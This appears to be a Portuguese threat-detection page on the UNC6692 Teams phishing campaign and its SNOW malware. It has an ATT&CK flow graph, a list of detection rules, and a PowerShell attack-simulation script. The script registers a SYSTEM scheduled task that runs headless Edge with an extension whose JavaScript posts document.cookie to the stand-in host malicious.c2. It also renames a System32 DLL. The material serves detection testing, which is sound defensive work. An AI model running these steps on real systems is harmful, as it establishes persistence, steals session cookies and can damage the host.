UNC6692 Implanta Malware Personalizado Através de Engenharia Social
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
UNC6692 realizou uma intrusão em múltiplos estágios que começou com um link de phishing enviado através do Microsoft Teams, entregou um payload malicioso do AutoHotKey, e implantou um toolkit de malware modular personalizado conhecido como SNOW, incluindo SNOWBELT, SNOWGLAZE e SNOWBASIN. A operação também utilizou uma extensão de navegador Chromium maligna, uma utilidade de tunelamento baseada em Python, e uma porta traseira HTTP local para habilitar movimento lateral, roubo de credenciais e exfiltração de dados através de serviços de nuvem. A campanha se destacou pelo abuso eficaz da infraestrutura legítima de nuvem e mecanismos de persistência baseados no navegador. Detectar essa atividade requer monitoramento próximo de comportamento incomum de extensões de navegador, tarefas agendadas que lançam Edge em modo sem cabeça, e acesso suspeito a serviços de armazenamento em nuvem.
Investigação
O Grupo de Inteligência de Ameaças do Google descobriu a campanha através da análise de registros de chat do Teams, scripts capturados do AutoHotKey, configurações de tarefas agendadas, e tráfego de rede envolvendo AWS S3 e um servidor WebSocket hospedado no Heroku. A análise de malware expôs a família de malwares SNOW, seus componentes internos, padrões de comunicação, e o uso de PsExec pelos atacantes junto com ferramentas de despejo de credenciais. Os investigadores também confirmaram o roubo de memória do LSASS e arquivos de banco de dados do Active Directory, que foram exfiltrados via LimeWire.
Mitigação
Os defensores devem aplicar políticas rigorosas de lista de autorização para extensões de navegador, monitorar o lançamento do Microsoft Edge com flags relacionadas a modo sem cabeça ou extensão, e bloquear acesso a buckets AWS S3 não aprovados e domínios Heroku. Implementar autenticação multifator para contas privilegiadas e vigiar execuções do PsExec e acessos ao LSASS pode ajudar a limitar o roubo de credenciais e movimento lateral. Tarefas agendadas e atalhos de inicialização também devem ser revisados regularmente para identificar persistência não autorizada.
Resposta
Se algum componente SNOW for detectado, isolar imediatamente o sistema afetado, terminar processos suspeitos de Edge e AutoHotKey, e coletar memória para análise forense relacionada ao LSASS. Bloquear os domínios e endereços IP conhecidos de comando e controle, remover extensões de navegador maliciosas, e rotacionar credenciais para contas privilegiadas. Uma varredura completa em toda a rede deve então ser realizada para identificar hosts adicionais comprometidos, juntamente com uma revisão de tarefas agendadas e itens de inicialização para persistência.
"graph TB %% Class definitions classDef technique fill:#99ccff classDef tool fill:#cccccc classDef malware fill:#ffcc99 classDef operator fill:#ff9900 %% Technique nodes tech_phishing["<b>Técnica</b> – <b>T1566.002 Phishing: Link de Spearphishing via Microsoft Teams</b><br/><b>Descrição</b>: O adversário entrega um link malicioso através do Microsoft Teams para usuários-alvo."] class tech_phishing technique tech_user_exec["<b>Técnica</b> – <b>T1204.001 Execução de Usuário: Clicar no link malicioso</b><br/><b>Descrição</b>: A vítima clica no link malicioso, acionando a execução."] class tech_user_exec technique tech_ahk["<b>Técnica</b> – <b>T1059.010 Interpretador de Comandos e Scripts: AutoHotkey/AutoIT</b><br/><b>Descrição</b>: Executa o binário e script do AutoHotkey para rodar código adicional."] class tech_ahk technique tech_python["<b>Técnica</b> – <b>T1059.006 Interpretador de Comandos e Scripts: Python</b><br/><b>Descrição</b>: Executa carregadores Python para módulos adicionais."] class tech_python technique tech_ext["<b>Técnica</b> – <b>T1176 Extensões de Software: Instalar Extensão do Chromium</b><br/><b>Descrição</b>: Instala uma extensão de navegador maliciosa para manter a persistência."] class tech_ext technique tech_schedtask["<b>Técnica</b> – <b>T1053.005 Tarefa Agendada: Lançar Edge Sem Cabeça</b><br/><b>Descrição</b>: Cria tarefas agendadas para iniciar o Edge com a extensão maliciosa."] class tech_schedtask technique tech_shortcut["<b>Técnica</b> – <b>T1547.009 Modificação de Atalho</b><br/><b>Descrição</b>: Coloca um atalho na pasta de Inicialização para execução automática."] class tech_shortcut technique tech_ingress["<b>Técnica</b> – <b>T1105 Transferência de Ferramenta de Ingresso</b><br/><b>Descrição</b>: Faz download de cargas adicionais como SNOWGLAZE e SNOWBASIN."] class tech_ingress technique tech_obfuscate["<b>Técnica</b> – <b>T1027 Arquivos ou Informações Ofuscadas</b><br/><b>Descrição</b>: Codifica cargas com Base64 e encripta com AESu2011GCM."] class tech_obfuscate technique tech_archive["<b>Técnica</b> – <b>T1560 Arquivar Dados Coletados</b><br/><b>Descrição</b>: Encripta e prepara dados antes da exfiltração."] class tech_archive technique tech_encchannel["<b>Técnica</b> – <b>T1573.001 Canal Encriptado: Criptografia Simétrica</b><br/><b>Descrição</b>: Usa AESu2011GCM para comunicações encriptadas."] class tech_encchannel technique tech_tunnel["<b>Técnica</b> – <b>T1572 Tunelamento de Protocolo</b><br/><b>Descrição</b>: Estabelece um túnel WebSocket para um servidor de comandou2011eu2011controle hospedado no Heroku."] class tech_tunnel technique tech_appproto["<b>Técnica</b> – <b>T1071.001 Protocolo de Camada de Aplicação: WebSocket</b><br/><b>Descrição</b>: Comunica-se com C2 sobre protocolo de camada de aplicação WebSocket."] class tech_appproto technique tech_proxy["<b>Técnica</b> – <b>T1090 Proxy</b><br/><b>Descrição</b>: Utiliza o túnel como um proxy para rotear o tráfego."] class tech_proxy technique tech_psexec["<b>Técnica</b> – <b>T1021.002 Compartilhamentos Admin do SMB/Windows: PsExec</b><br/><b>Descrição</b>: Executa processos remotos via compartilhamentos admin do SMB para movimento lateral."] class tech_psexec technique tech_cred_dump["<b>Técnica</b> – <b>T1003 Despejo de Credenciais do SO</b><br/><b>Descrição</b>: Extrai credenciais da memória do LSASS."] class tech_cred_dump technique tech_pass_hash["<b>Técnica</b> – <b>T1550.002 Passar o Hash</b><br/><b>Descrição</b>: Usa hashes NTLM capturados para autenticação a outros sistemas."] class tech_pass_hash technique tech_rdp["<b>Técnica</b> – <b>T1021.001 Protocolo de Desktop Remoto</b><br/><b>Descrição</b>: Conecta-se via RDP ao servidor de backup e controlador de domínio."] class tech_rdp technique tech_exfil["<b>Técnica</b> – <b>T1567.002 Exfiltração para Armazenamento em Nuvem</b><br/><b>Descrição</b>: Faz upload de arquivos de banco de dados AD coletados para o Amazon S3."] class tech_exfil technique %% Tool nodes tool_ahk_binary["<b>Ferramenta</b> – <b>Nome</b>: Binário do AutoHotkey<br/><b>Descrição</b>: Executa scripts AHK compilados."] class tool_ahk_binary tool tool_python_runtime["<b>Ferramenta</b> – <b>Nome</b>: Interpretador Python<br/><b>Descrição</b>: Executa carregadores baseados em Python."] class tool_python_runtime tool tool_edge_headless["<b>Ferramenta</b> – <b>Nome</b>: Microsoft Edge (sem cabeça)<br/><b>Descrição</b>: Navegador usado para executar extensão maliciosa."] class tool_edge_headless tool tool_snowglaze["<b>Ferramenta</b> – <b>Nome</b>: Carregador SNOWGLAZE<br/><b>Descrição</b>: Faz download e lança módulos adicionais."] class tool_snowglaze tool tool_snowbasin["<b>Ferramenta</b> – <b>Nome</b>: Carregador SNOWBASIN<br/><b>Descrição</b>: Carregador secundário usado após o SNOWGLAZE."] class tool_snowbasin tool tool_snowbelt_ext["<b>Ferramenta</b> – <b>Nome</b>: Extensão SNOWBELT do Chromium<br/><b>Descrição</b>: Fornece persistência e coleta de dados no navegador."] class tool_snowbelt_ext tool tool_psexec["<b>Ferramenta</b> – <b>Nome</b>: PsExec<br/><b>Descrição</b>: Executa processos em hosts remotos do Windows via compartilhamentos admin."] class tool_psexec tool %% Malware nodes malware_snowglaze["<b>Malware</b> – <b>Nome</b>: SNOWGLAZE<br/><b>Descrição</b>: Carregador que cria túnel WebSocket e encripta o tráfego."] class malware_snowglaze malware malware_snowbasin["<b>Malware</b> – <b>Nome</b>: SNOWBASIN<br/><b>Descrição</b>: Payload secundário que auxilia no estágio de dados."] class malware_snowbasin malware malware_snowbelt["<b>Malware</b> – <b>Nome</b>: Extensão SNOWBELT<br/><b>Descrição</b>: Extensão do Chromium usada para persistência e exfiltração."] class malware_snowbelt malware %% Attack flow connections tech_phishing –>|leads_to| tech_user_exec tech_user_exec –>|triggers| tech_ahk tech_ahk –>|uses| tool_ahk_binary tech_ahk –>|executes| tech_python tech_python –>|uses| tool_python_runtime tech_python –>|downloads| tool_snowglaze tech_python –>|downloads| tool_snowbasin tool_snowglaze –>|installs| malware_snowglaze tool_snowbasin –>|installs| malware_snowbasin malware_snowglaze –>|creates| tech_ext tech_ext –>|installs| tool_snowbelt_ext tool_snowbelt_ext –>|installs| malware_snowbelt tech_ext –>|enables| tech_schedtask tech_schedtask –>|launches| tool_edge_headless tech_ext –>|enables| tech_shortcut tech_shortcut –>|adds| op_shortcut_startup(("Atalho de Inicialização")) class op_shortcut_startup operator tech_user_exec –>|downloads| tech_ingress tech_ingress –>|delivers| tech_obfuscate tech_obfuscate –>|prepares| tech_archive tech_archive –>|protects| tech_encchannel tech_encchannel –>|protects| tech_tunnel tech_tunnel –>|uses| tech_appproto tech_tunnel –>|acts_as| tech_proxy tech_proxy –>|routes| tech_psexec tech_psexec –>|uses| tool_psexec tool_psexec –>|executes| tech_cred_dump tech_cred_dump –>|provides| tech_pass_hash tech_pass_hash –>|enables| tech_rdp tech_rdp –>|connects_to| tech_exfil "
Fluxo de Ataque
Detecções
Execução Suspeita de Taskkill (via linha de comando)
Ver
Tentativa Possível de Execução de Script AutoHotkey (via linha de comando)
Ver
Binário / Scripts Suspeitos em Local de Inicialização Automática (via evento de arquivo)
Ver
Comunicação de Domínio Herokuapp Suspeita (via proxy)
Ver
Comunicação de Domínio Herokuapp Suspeita (via dns)
Ver
IOCs (HashSha256) para detectar: Flocos de Neve: Como UNC6692 Utilizou Engenharia Social para Implantar um Conjunto de Malware Personalizado
Ver
Detecção de Execução de Script AutoHotKey e Python de UNC6692 [Criação de Processo no Windows]
Ver
Tarefa Agendada e Anomalias no Processo do Microsoft Edge de UNC6692 [Log de Evento de Segurança do Microsoft Windows]
Ver
Execução de Simulação
Pré-requisito: A Telemetria & Verificação de Pré-voo de Linha de Base deve ter aprovado.
Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visar gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a diagnóstico incorreto.
-
Narrativa do Ataque & Comandos:
- Objetivo: Estabelecer execução persistente e furtiva da carga útil baseada no navegador Snowbelt no host da vítima.
- Método: Registrar uma tarefa agendada que lance o Microsoft Edge em modo sem cabeça com a extensão maliciosa Snowbelt (
C:TempSnowbelt). A extensão carrega JavaScript malicioso que contata C2 e exfiltra dados. - Indicador de Limpeza: Após a execução da carga útil, o atacante remove
CoreUIComponents.dlldo cache de DLL do sistema para evitar a detecção de um processo “saudável” do Edge; o processo edge continua rodando mas o módulo está ausente, satisfazendo a segunda cláusula da regra.
-
Script de Teste de Regressão:
# Simulação UNC6692 – cria tarefa agendada maliciosa e executa Edge sem CoreUIComponents.dll # ------------------------------------------------------------------------- # 1️⃣ Definir variáveis $edgePath = "$Env:ProgramFiles(x86)MicrosoftEdgeApplicationmsedge.exe" $extPath = "C:TempSnowbelt" $taskName = "SnowbeltEdgeTask" $arguments = "--headless --load-extension=`"$extPath`"" $taskUser = "SYSTEM" # 2️⃣ Garantir que a pasta de extensão existe (carga útil simulada) New-Item -ItemType Directory -Force -Path $extPath | Out-Null Set-Content -Path "$extPathmanifest.json" -Value '{"name":"Snowbelt","version":"1.0","manifest_version":2,"background":{"scripts":["snow.js"]}}' -Encoding UTF8 Set-Content -Path "$extPathsnow.js" -Value 'fetch("http://malicious.c2/collect", {method:"POST", body:document.cookie});' -Encoding UTF8 # 3️⃣ Registrar a tarefa agendada maliciosa $action = New-ScheduledTaskAction -Execute $edgePath -Argument $arguments $trigger = New-ScheduledTaskTrigger -AtLogOn Register-ScheduledTask -TaskName $taskName -Action $action -Trigger $trigger -User $taskUser -Force # 4️⃣ Iniciar a tarefa imediatamente para gerar telemetria Start-ScheduledTask -TaskName $taskName # 5️⃣ Remover CoreUIComponents.dll do processo do Edge em execução (simulado) # Nota: Em um ambiente real, isso envolveria sequestro de DLL ou alteração de memória de processo. # Aqui simplesmente deletamos o arquivo para causar uma falha na verificação do tasklist. $dllPath = "$Env:SystemRootSystem32CoreUIComponents.dll" if (Test-Path $dllPath) { Rename-Item -Path $dllPath -NewName "CoreUIComponents.dll.bak" -Force } # 6️⃣ Verificar se o Edge está em execução e a DLL está ausente $proc = Get-Process -Name "msedge" -ErrorAction SilentlyContinue if ($proc) { Write-Host "Processo Edge PID $($proc.Id) iniciado com a extensão maliciosa." } -
Comandos de Limpeza:
# Remover tarefa agendada Unregister-ScheduledTask -TaskName "SnowbeltEdgeTask" -Confirm:$false # Restaurar CoreUIComponents.dll se foi renomeado $dllPath = "$Env:SystemRootSystem32CoreUIComponents.dll" $backup = "$Env:SystemRootSystem32CoreUIComponents.dll.bak" if (Test-Path $backup) { Rename-Item -Path $backup -NewName "CoreUIComponents.dll" -Force } # Excluir arquivos de extensão simulados Remove-Item -Path "C:TempSnowbelt" -Recurse -Force